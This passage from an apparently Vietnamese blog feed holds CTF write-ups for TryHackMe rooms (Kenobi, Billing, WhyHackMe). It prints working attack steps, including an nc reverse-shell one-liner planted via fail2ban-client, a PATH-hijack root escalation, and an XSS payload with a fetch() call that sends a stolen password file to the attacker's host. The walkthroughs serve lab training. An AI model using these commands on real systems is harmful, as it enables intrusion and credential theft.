&lt;p&gt;Kết nối vào thư mục &lt;code&gt;anonymous&lt;/code&gt; và tìm thấy file &lt;code&gt;log.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.DlTihU_n_Z1pPas5.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Bên trong file log này chứa một số thông tin như:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SSH key được tạo ra cho người dùng Kenobi&lt;/li&gt;
&lt;li&gt;ProFTPD server.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Trước đó trong kết quả scan, mình có scan ra port 111 chạy dịch vụ &lt;code&gt;rpcbind&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Trong trường hợp này, port 111 truy cập vào &lt;code&gt;file system&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sử dụng lệnh &lt;code&gt;nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.168.6&lt;/code&gt; mình tìm được thư mục var.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount: 
|_  /var *
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Chiếm quyền truy cập ban đầu với ProFtpd&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.B__cFT1b_Avdbd.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ProFTPD&lt;/code&gt; là một FTP server mã nguồn mở và miễn phí, tương thích với hệ thống Unix và Windows. Trong quá khứ nó cũng có một số phiên bản tồn tại lỗ hổng.&lt;/p&gt;
&lt;p&gt;Mình dùng lệnh &lt;code&gt;nmap -p 21 -n -Pn -sV 10.10.168.6&lt;/code&gt; để xem thông tin phiên bản của &lt;code&gt;ProFTPD&lt;/code&gt; thì đây là phiên bản &lt;code&gt;1.3.5&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tìm trên &lt;a href=&quot;https://www.exploit-db.com/&quot;&gt;ExploitDB&lt;/a&gt;, phiên bản này tồn tại một lỗ hổng dẫn tới kiểm soát quyền truy cập.&lt;/p&gt;
&lt;p&gt;PoC sử dụng **CPFR (Copy from) **và **CPTO (Copy to) để **thao tác copy paste một file từ chỗ này sang khác bên trong FTP server.&lt;/p&gt;
&lt;p&gt;Từ các thông tin thu thập được:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;File &lt;code&gt;log.txt&lt;/code&gt; =&gt; biết được SSH key của người dùng Kenobi nằm tại &lt;code&gt;/home/kenobi/.ssh/id_rsa&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Thư mục &lt;code&gt;/var&lt;/code&gt; mình có thể truy cập từ mạng.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Quy trình tấn công có thể hình dung như sau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dùng &lt;code&gt;CPFR&lt;/code&gt;, &lt;code&gt;CPTO&lt;/code&gt; copy key SSH của Kenobi vào thư mục &lt;code&gt;/var&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Mount thư mục &lt;code&gt;/var&lt;/code&gt; để có thể lấy SSH key về.&lt;/li&gt;
&lt;li&gt;Có SSH key thì SSH vào Kenobi =&gt; lấy quyền truy cập thành công.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Đầu tiên, mình thực hiện kết nối và copy file ra &lt;code&gt;/var&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.BT18vcZg_11hWqn.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tiếp theo, mount thư mục &lt;code&gt;/var&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.B1cI7Gia_1lslV1.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Cuối cùng, copy SSH key ra máy tấn công và thực hiện SSH vào &lt;code&gt;Kenobi&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.CiGJoOXV_1dnySR.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khi SSH thành công, flag sẽ nằm tại thư mục home của &lt;code&gt;Kenobi&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.CTdYixz2_Za5ckW.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Leo thang đặc quyền với biến môi trường&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/9-0.Dp2fok2T_Z2d5vGh.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;| Quyền | Trên các file | Trên các thư mục |
|-|-|-|
| SUID Bit | Người dùng thực thi file với quyền của &lt;em&gt;chủ sở hữu file&lt;/em&gt; | - |
| SGID Bit | Người dùng thực thi file với quyền của &lt;em&gt;chủ sở hữu nhóm&lt;/em&gt; | File tạo trong thư mục này sẽ có cùng &lt;em&gt;chủ sở hữu nhóm&lt;/em&gt; |
| Sticky Bit | - | Chỉ chủ sở hữu hoặc root mới được xóa file bên trong |&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SUID Bit&lt;/code&gt; rất nguy hiểm, nếu một file nhị phân tồn tại &lt;code&gt;SUID Bit&lt;/code&gt; nó sẽ có khả năng chạy với đặc quyền cao hơn.&lt;/p&gt;
&lt;p&gt;Tại người dùng &lt;code&gt;Kenobi&lt;/code&gt;, mình tìm các file có &lt;code&gt;SUID Bit&lt;/code&gt; bằng cách thực thi lệnh:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;find / -perm -u=s -type f 2&gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Và tại đây mình thấy một file nhị phân có thể sử dụng để leo thang đặc quyền.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/9.DkLVMrMq_XdHy8.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Thực thi file này thử, thì mình xác định được đây là một file do &lt;code&gt;Kenobi&lt;/code&gt; tạo ra.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/10.D2GwWGrI_19Ur2r.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình dùng lệnh &lt;code&gt;strings&lt;/code&gt; để trích xuất các chuỗi bên trong file nhị phân này thì có 3 lệnh ứng với 3 option.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/11.9EtudWdH_1PxMwp.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình nhận ra các lệnh này được chạy mà không bao gồm đường dẫn, khi gọi lệnh thì máy sẽ thực thi thông qua biến môi trường.&lt;/p&gt;
&lt;p&gt;Từ đó, mình tạo một file thực thi &lt;strong&gt;giả curl&lt;/strong&gt;, bên trong thực thi gọi một shell &lt;code&gt;/bin/sh&lt;/code&gt; và cấp quyền cho file này (Đọc - Ghi - Thực thi).&lt;/p&gt;
&lt;p&gt;Vì mình tạo file này tại thư mục &lt;code&gt;/tmp&lt;/code&gt; nên mình xuất biến môi trường tại đây.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/12.B5O-q5zG_ZJDPhd.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Khi thực thi file &lt;code&gt;/usr/bin/menu&lt;/code&gt; và với tùy chọn 1, máy này sẽ thực thi &lt;code&gt;curl&lt;/code&gt; nhưng sẽ là &lt;code&gt;curl giả&lt;/code&gt; và thực thi &lt;code&gt;/bin/sh&lt;/code&gt; với quyền root.&lt;/p&gt;
&lt;p&gt;Sau khi chiếm được quyền truy cập vào root, flag sẽ nằm tại thư mục &lt;code&gt;/root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/13.D554F3LR_Z1TFdgB.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.CFZG17fE.png"/><enclosure url="/_astro/thumbnail.CFZG17fE.png"/></item><item><title>Billing</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/billing</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/billing</guid><description>Một số sai lầm có thể phải trả giá đắt.</description><pubDate>Thu, 04 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tryhackme.com/room/billing&quot;&gt;&lt;em&gt;&lt;strong&gt;Link thử thách&lt;/strong&gt;&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Thu thập thông tin&lt;/h2&gt;
&lt;h3&gt;Nmap scan&lt;/h3&gt;
&lt;p&gt;Mình thực hiện scan các cổng thì thấy một số cổng đang mở như:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dịch vụ SSH.&lt;/li&gt;
&lt;li&gt;HTTP đang chạy trên Apache 2.4.62&lt;/li&gt;
&lt;li&gt;Asterisk Call Manager - theo mình tìm hiểu được thì đây là &lt;strong&gt;API realtime của Asterisk&lt;/strong&gt; cho phép developer xây dựng các ứng dụng xoay quanh hệ thống VoIP/Tổng đài.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0) # [!code highlight:1]
| ssh-hostkey: 
|   256 fb:7c:b8:0d:50:f4:93:61:6b:ce:21:65:19:33:66:ba (ECDSA)
|_  256 f1:e3:57:25:0b:8a:3a:20:40:82:04:a0:f7:40:bf:c2 (ED25519)
80/tcp   open  http     Apache httpd 2.4.62 ((Debian)) # [!code highlight:1]
|_http-server-header: Apache/2.4.62 (Debian)
| http-robots.txt: 1 disallowed entry 
|_/mbilling/
| http-title:             MagnusBilling        
|_Requested resource was http://10.201.16.39/mbilling/
5038/tcp open  asterisk Asterisk Call Manager 2.10.6 # [!code highlight:1]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dịch vụ HTTP&lt;/h3&gt;
&lt;p&gt;Khi truy cập vào website, mình được chuyển hướng tới &lt;code&gt;/mbilling&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.B67TXP5n_Z1l1iDT.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình tìm hiểu được rằng đây là một ứng dụng web mã nguồn mở &lt;code&gt;MagnusBilling&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Và mình tìm thấy được file &lt;code&gt;README.md&lt;/code&gt; có thông tin rằng họ đang ở phiên bản &lt;code&gt;7.x.x&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.D3GnoZpq_ZpCGwN.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tìm kiếm một tí thì phiên bản này có một lỗ hổng có &lt;code&gt;CVE&lt;/code&gt; là &lt;code&gt;2023-30258&lt;/code&gt; cho phép thực thi lệnh.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/3.B_pzr5Rh_1yrtyi.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Flag 1&lt;/h2&gt;
&lt;h3&gt;Lỗ hổng Command Injection&lt;/h3&gt;
&lt;p&gt;Khi thực thi như PoC thì không có kết quả nào trả về.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.B-CAq67M_1rIgOa.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Để chắc chắn lệnh có thể thực thi, mình sử dụng kỹ thuật &lt;code&gt;time delay&lt;/code&gt;, nếu lệnh thực thi được thì nó sẽ phải mất một khoảng thời gian để phản hồi.&lt;/p&gt;
&lt;p&gt;Và đúng như dự định với lệnh &lt;code&gt;ping -c 5&lt;/code&gt; đến localhost thì mất khoảng gần 5 giây để hoàn thành, chứng minh lệnh đã thực thi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.l7PMGxRx_1FjUkp.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Truy cập người dùng asterisk và flag&lt;/h3&gt;
&lt;p&gt;Mình thực hiện mở một &lt;code&gt;reverse shell&lt;/code&gt; và vào được tài khoản &lt;code&gt;asterisk&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sau đó, mình sử dụng kỹ thuật &lt;code&gt;Stabilizing&lt;/code&gt; để có thể tương tác shell linh hoạt hơn.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;┌──(CloseUrEyes㉿CtrlZet)-[~/workspace/tryhackme/challenges/billing]
└─$ nc -lvnp 7304                                       
listening on [any] 7304 ...
connect to [10.17.67.204] from (UNKNOWN) [10.201.16.39] 59284
sh: 0: can&apos;t access tty; job control turned off
$ python3 -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;);&apos;  # [!code highlight:1]
asterisk@ip-10-201-16-39:/var/www/html/mbilling/lib/icepay$ export TERM=xterm  # [!code highlight:1]
export TERM=xterm
asterisk@ip-10-201-16-39:/var/www/html/mbilling/lib/icepay$ ^Z  # [!code highlight:1]
zsh: suspended  nc -lvnp 7304
                                                                                                                                                             
┌──(CloseUrEyes㉿CtrlZet)-[~/workspace/tryhackme/challenges/billing]
└─$ stty raw -echo; fg  # [!code highlight:1]
[1]  + continued  nc -lvnp 7304

asterisk@ip-10-201-16-39:/var/www/html/mbilling/lib/icepay$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tại &lt;code&gt;home&lt;/code&gt; của &lt;code&gt;asterisk&lt;/code&gt; có file &lt;code&gt;user.txt&lt;/code&gt; chứa flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.B5UpNuA-_1oTeL2.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Flag 2&lt;/h2&gt;
&lt;h3&gt;fail2ban-client&lt;/h3&gt;
&lt;p&gt;Kiểm tra qua thì mình thấy người dùng này có thể sử dụng &lt;code&gt;fail2ban-client&lt;/code&gt; với quyền &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;asterisk@ip-10-201-18-163:/home/magnus$ sudo -l
Matching Defaults entries for asterisk on ip-10-201-18-163:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on ip-10-201-18-163:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Fail2Ban là một phần mềm phòng ngừa xâm nhập. Được xây dựng bằng ngôn ngữ Python, nó được thiết kế để ngăn chặn các cuộc tấn công brute-force. Nó chạy trên các hệ thống POSIX có giao diện với hệ thống kiểm soát gói tin hoặc tường lửa được cài đặt cục bộ, như iptable hoặc TCP Wrapper.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Và &lt;code&gt;fail2ban-client&lt;/code&gt; là ứng dụng cho phép tương tác, cấu hình và điều khiển &lt;code&gt;fail2ban-server&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Thường thì ứng dụng này sẽ hoạt động với quyền &lt;code&gt;root&lt;/code&gt;, điều đó dẫn tới việc leo thang đặc quyền lên root nếu cấu hình chưa tốt.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;ps -aux | grep fail2ban
root         852  0.1  1.5 1171732 31244 ?       Ssl  20:12   0:05 /usr/bin/python3 /usr/bin/fail2ban-server -xf start  # [!code highlight:1]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ứng dụng này hoạt động dựa trên các &lt;code&gt;Jail&lt;/code&gt;, giải thích đơn giản thì đây là các cấu hình mà khi các hệ thống giám sát log phát hiện điều gì trùng khớp với cấu hình này sẽ thực hiện hành động như được thiết đặt.&lt;/p&gt;
&lt;p&gt;Mình kiểm tra các &lt;code&gt;Jail&lt;/code&gt; thì mình thấy có 8 &lt;code&gt;Jail&lt;/code&gt; này, chọn cái nào cũng được miễn là nó &lt;code&gt;active&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;asterisk@ip-10-201-18-163:/home/magnus$ sudo fail2ban-client status
Status
|- Number of jail:      8
`- Jail list:   ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tại đây mình chọn &lt;code&gt;sshd&lt;/code&gt; và tạo một action mới tên &lt;code&gt;exploit&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;sudo fail2ban-client set sshd action exploit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tại action này mình cho nó thực hiện mở kết nối &lt;code&gt;reverse shell&lt;/code&gt;, nghĩa là mỗi khi ban một IP nó sẽ thực hiện hành động mà mình đã đặt là&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;#x26;1|nc 10.17.67.204 7305 &gt;/tmp/f;&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;sudo fail2ban-client set sshd action exploit actionban &quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;#x26;1|nc 10.17.67.204 7305 &gt;/tmp/f;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Truy cập người dùng root và flag&lt;/h3&gt;
&lt;p&gt;Khi thực hiện ban IP bất kỳ, nó sẽ bắt đầu thực hiện &lt;code&gt;reverse shell&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;asterisk@ip-10-201-18-163:/home/magnus$ sudo fail2ban-client set sshd banip 127.0.0.1
1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Khi kết nối &lt;code&gt;reverse shell&lt;/code&gt; thực hiện thành công, mình đã leo thang đặc quyền lên được &lt;code&gt;root&lt;/code&gt; và tìm được flag trong file &lt;code&gt;root.txt&lt;/code&gt; tại thư mục &lt;code&gt;/root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.vmWAhrZn_26RdgC.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.DxzVzu1W.png"/><enclosure url="/_astro/thumbnail.DxzVzu1W.png"/></item><item><title>WhyHackMe</title><link>https://quangthaictc.github.io/blog/2025/tryhackme/whyhackme</link><guid isPermaLink="true">https://quangthaictc.github.io/blog/2025/tryhackme/whyhackme</guid><description>Hãy lặn sâu vào thế giới bảo mật và phân tích cùng WhyHackMe.</description><pubDate>Thu, 04 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://tryhackme.com/room/whyhackme&quot;&gt;&lt;em&gt;&lt;strong&gt;Link thử thách&lt;/strong&gt;&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Thu nhập thông tin&lt;/h2&gt;
&lt;h3&gt;Nmap scan&lt;/h3&gt;
&lt;p&gt;Đầu tiên, mình thực hiện scan các port thì thấy một số thông tin quan trọng như:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Port FTP mở và cho phép đăng nhập với tư cách khách, bên trong có một file &lt;code&gt;update.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Port SSH sẽ khả dụng sau này.&lt;/li&gt;
&lt;li&gt;Port HTTP và đang phục vụ bằng &lt;code&gt;Apache 2.4.41&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Và một port khá đáng ngờ nhưng không thể truy cập.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;PORT      STATE    SERVICE VERSION
21/tcp    open     ftp     vsftpd 3.0.3 # [!code highlight:1]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.17.67.204
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230) # [!code highlight:3]
|_-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 47:71:2b:90:7d:89:b8:e9:b4:6a:76:c1:50:49:43:cf (RSA)
|   256 cb:29:97:dc:fd:85:d9:ea:f8:84:98:0b:66:10:5e:6f (ECDSA)
|_  256 12:3f:38:92:a7:ba:7f:da:a7:18:4f:0d:ff:56:c1:1f (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Welcome!!
41312/tcp filtered unknown # [!code highlight:1]
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dịch vụ FTP&lt;/h3&gt;
&lt;p&gt;Truy cập vào dịch vụ FTP và thực hiện lấy file &lt;code&gt;update.txt&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;ftp 10.201.82.126
Connected to 10.201.82.126.
220 (vsFTPd 3.0.3)
Name (10.201.82.126:CloseUrEyes): anonymous # [!code highlight:1]
331 Please specify the password.
Password:  # [!code highlight:1]
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&gt; ls
229 Entering Extended Passive Mode (|||36920|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt # [!code highlight:1]
226 Directory send OK.
ftp&gt; get update.txt # [!code highlight:2]
local: update.txt remote: update.txt
229 Entering Extended Passive Mode (|||49563|)
150 Opening BINARY mode data connection for update.txt (318 bytes).
100% |****************************************************************************************************************|   318        2.69 KiB/s    00:00 ETA
226 Transfer complete.
318 bytes received in 00:00 (0.73 KiB/s)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Hey I just removed the old user mike because that account was compromised
and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt
and don&apos;t worry this file is only accessible by localhost(127.0.0.1), so nobody 
else can view it except me or people with access to the common account. 
- admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nội dung chính của file &lt;code&gt;update.txt&lt;/code&gt; nói rằng chỉ &lt;code&gt;localhost&lt;/code&gt; mới có thể truy cập vào &lt;code&gt;/dir/pass.txt&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Website&lt;/h3&gt;
&lt;p&gt;Truy cập vào website, giao diện của nó như sau:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/1.C0829J03_Z2exMcL.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Mình sử dụng công cụ &lt;code&gt;gobuster&lt;/code&gt; để scan các enpoint, từ nội dung trên mình cũng xác định được website này sử dụng &lt;code&gt;PHP&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;gobuster dir -u http://10.201.82.126/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;/.php                 (Status: 403) [Size: 278]
/index.php            (Status: 200) [Size: 563]
/blog.php             (Status: 200) [Size: 3102]
/login.php            (Status: 200) [Size: 523]
/register.php         (Status: 200) [Size: 643]
/dir                  (Status: 403) [Size: 278]
/assets               (Status: 301) [Size: 315] [--&gt; http://10.201.82.126/assets/]
/logout.php           (Status: 302) [Size: 0] [--&gt; login.php]
/config.php           (Status: 200) [Size: 0]
/.php                 (Status: 403) [Size: 278]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag 1&lt;/h2&gt;
&lt;h3&gt;Lỗ hổng XSS&lt;/h3&gt;
&lt;p&gt;Phát hiện trang đăng ký tài khoản, mình thực hiện đăng ký tài khoản để xem có gì đặc biệt không.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/2.DO0RBMQQ_Z1FbQMD.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Đăng ký tài khoản xong thì mình thấy trong trang blog có phần comment.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/4.RJ6Nv69z_Z2dulAr.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nghĩ ngay đến XSS, nhưng mình thử thì không thành công.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/5.uI7w0aYm_n6919.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sau một khoảng thời gian, mình khai thác thành công XSS (Gợi ý tí là nó không nằm trong nội dung comment).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/6.nVMpA4Tt_Z1daW91.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Dựa vào thông điệp lúc nãy, mình viết một script nhỏ với mục đích khi server thực thi file này, nó sẽ đọc file &lt;code&gt;/dir/pass.txt&lt;/code&gt; sau đó gửi nội dung về lại cho mình ở dạng &lt;code&gt;base64&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;fetch(&quot;http://127.0.0.1/dir/pass.txt&quot;)
  .then(r =&gt; r.text())
  .then(data =&gt; {
    fetch(&quot;http://10.17.67.204:8080/?data=&quot; + btoa(data));
  });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Payload mình chèn vào như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;&amp;#x3C;script src=&quot;http://10.17.67.204:8080/xss-exploit.js&quot;&gt;&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mình mở &lt;code&gt;python http&lt;/code&gt; và reload lại website để server thực thi và request về bên mình kèm theo &lt;code&gt;base64&lt;/code&gt; đã mã hóa.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/7.DWUgVGEE_ZkjHBe.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Truy cập người dùng jack và flag&lt;/h3&gt;
&lt;p&gt;Giải mã &lt;code&gt;base64&lt;/code&gt; thì mình nhận được thông tin đăng nhập của người dùng &lt;code&gt;jack&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/8.1bRgPJma_ZXpvq5.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tại &lt;code&gt;home&lt;/code&gt; của &lt;code&gt;jack&lt;/code&gt; có file &lt;code&gt;user.txt&lt;/code&gt; chứa flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://quangthaictc.github.io/_astro/9.Br-ZFaBI_z3yUC.webp&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Flag 2&lt;/h2&gt;
&lt;p&gt;Mình kiểm tra những thứ mà người dùng này có thể dùng với &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;jack@ubuntu:~$ sudo -l
Matching Defaults entries for jack on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jack may run the following commands on ubuntu:
    (ALL : ALL) /usr/sbin/iptables # [!code highlight:1]
&lt;/code&gt;&lt;/pre&gt;
